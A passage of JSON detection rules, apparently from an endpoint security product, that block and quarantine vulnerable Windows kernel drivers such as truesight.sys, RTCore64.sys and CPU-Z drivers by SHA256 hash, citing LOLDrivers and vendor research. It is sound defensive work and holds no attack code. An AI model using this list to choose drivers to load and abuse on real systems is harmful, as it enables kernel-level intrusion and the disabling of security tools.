+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2a72fd1-485c-59fb-aaf3-6118a99ec421",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493626Z",
+  "creation_date": "2026-03-23T11:45:31.493629Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c9dbc78d1953e9a177d2eac79f5a4174ea65a1889a99a356f3a6412ec3ba397",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2a94f44-76dd-5f03-9a4d-aaa73cb1f5a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835807Z",
+  "creation_date": "2026-03-23T11:45:30.835809Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d3e4b057da5d3e93d142cee093c78e6f59e0b1fbc85a4dc32af7d53c998945f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2aca4c7-4823-5544-a052-8eb8221c7b87",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.496036Z",
+  "creation_date": "2026-03-23T11:45:31.496039Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.496045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2fc41b0d0bbd4e623dcc2f0435392126f3fa0f36b68708d63cbf7e0ef4b2e4d7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2b0b9b1-5432-5bcd-a67a-c9bfd8b63486",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620883Z",
+  "creation_date": "2026-03-23T11:45:29.620885Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620890Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d453110c9050320419c2064ddea08230de6c76f86b07dc58112208e3d24a809e",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2b4db88-547c-590a-9229-52eff1c2577b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153471Z",
+  "creation_date": "2026-03-23T11:45:31.153473Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153478Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74d3f294eccc335ec98050f305f49bb6465568c964ba1665047665b2661a7565",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2bcf3bb-3e1f-56bb-8541-01cf265309ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611677Z",
+  "creation_date": "2026-03-23T11:45:29.611679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611684Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd7754a6ec6bf19724fb266ec4f1d02607e9b310791d8725d7db5ac84d5430e2",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2bd5269-d37b-5526-aa34-782af4260050",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477230Z",
+  "creation_date": "2026-03-23T11:45:30.477233Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477242Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d80714d87529bb0bc7abcc12d768c43a697fbca59741c38fa0b46900da4db30e",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2c0d129-4373-5ad4-b06e-d59c34924505",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615398Z",
+  "creation_date": "2026-03-23T11:45:29.615400Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615407Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d734d6443a707d601d76577692dc613b35201518856d0189b037f7a4fbd420d",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2c5bb23-c541-5702-aecf-e2f17e620e69",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460737Z",
+  "creation_date": "2026-03-23T11:45:30.460740Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460749Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0aca4447ee54d635f76b941f6100b829dc8b2e0df27bdf584acb90f15f12fbda",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2d7f25a-7773-521a-8533-602d8b820b19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826710Z",
+  "creation_date": "2026-03-23T11:45:31.826713Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826718Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8b79681480130e33478c8a922ab98b35d3f9b4f2f1fd15d3047448014193098",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2e29b3a-5e8a-5e38-b37a-c4713e596759",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817592Z",
+  "creation_date": "2026-03-23T11:45:30.817593Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817599Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6c11d3bec2a94c40933ec1d3604cfe87617ba828b14f4cded6cfe85656debc0",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2f0926f-f8b0-5098-85fb-5385fbd3f2f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487451Z",
+  "creation_date": "2026-03-23T11:45:31.487453Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "515c61e521dce56afd4814e8c6810dc9b325fe4c4c1ff90ecf2434bf2869e816",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2f53f1e-43ab-522d-8216-bbd553a6c4c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824184Z",
+  "creation_date": "2026-03-23T11:45:30.824187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824192Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce6636dd6b217d50a39eeaf3dcdcaf0643aeb1caacb4353f60e208e6e7d1ab11",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2fd906e-e1bd-5045-945c-a9bf508b818d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823034Z",
+  "creation_date": "2026-03-23T11:45:31.823037Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823046Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e11a326b6f516502e5dd37c4a1867ed6f47f2f008e1e562f26c4a09af2466297",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3091249-23e5-54e2-9211-9e24d22d0dfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153907Z",
+  "creation_date": "2026-03-23T11:45:31.153909Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153914Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ee3f6dc6ce25126481c4ab68f01344a8c8c7f68d0fabc61a9c02a82c2f91e3a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d30913ba-c66d-5525-b61a-a8f02ee87f4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829554Z",
+  "creation_date": "2026-03-23T11:45:30.829556Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829562Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "877fffa31cfbcb74d20d770abac91a76c686b1d315326eb14285bc6c92366cbe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d313e4c7-4189-5d51-b8bb-a2ce072f81d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980768Z",
+  "creation_date": "2026-03-23T11:45:29.980770Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980775Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06508aacb4ed0a1398a2b0da5fa2dbf7da435b56da76fd83c759a50a51c75caf",
+  "comment": "Vulnerable Kernel Driver (aka PanMonFltX64.sys) [https://www.loldrivers.io/drivers/40bfb01b-d251-4c2c-952e-052a89a76f5b/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d32ff0d2-ca03-5c34-aa67-079960f93ed5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477611Z",
+  "creation_date": "2026-03-23T11:45:31.477615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477625Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2414ad09451dae4811952d9696de5e37658091dc0363bc96cf0985ff19e9d97a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d338006c-56ad-5d48-bb8f-f2080ceea0f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621124Z",
+  "creation_date": "2026-03-23T11:45:29.621126Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621131Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a20ca8f9361eb892257b3693095ffeee61457dc4e22d9b119e3a9f3a1507069",
+  "comment": "CoreTemp Physmem dangerous drivers (aka ALSYSIO64.sys) [https://www.loldrivers.io/drivers/4d365dd0-34c3-492e-a2bd-c16266796ae5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d33e4e78-526a-5941-a46c-53471b051b37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485644Z",
+  "creation_date": "2026-03-23T11:45:31.485647Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71ec6fc98c2a2c577e13745f0ef4637d780af82fa569985eb584774669a20cda",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d33f9717-2c0c-5308-9b71-ba6da332678d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155523Z",
+  "creation_date": "2026-03-23T11:45:31.155525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eddd681692bb34b3025fefe4880792c5358bd41c61c89c6aba47ca110526e9a4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d342b358-667c-5b9a-b72d-a0b59cd4753a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831766Z",
+  "creation_date": "2026-03-23T11:45:30.831768Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831774Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c3f7b3e020495d9742a9211d64adb93b2950bdd6748c101208f446cbd872e5b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
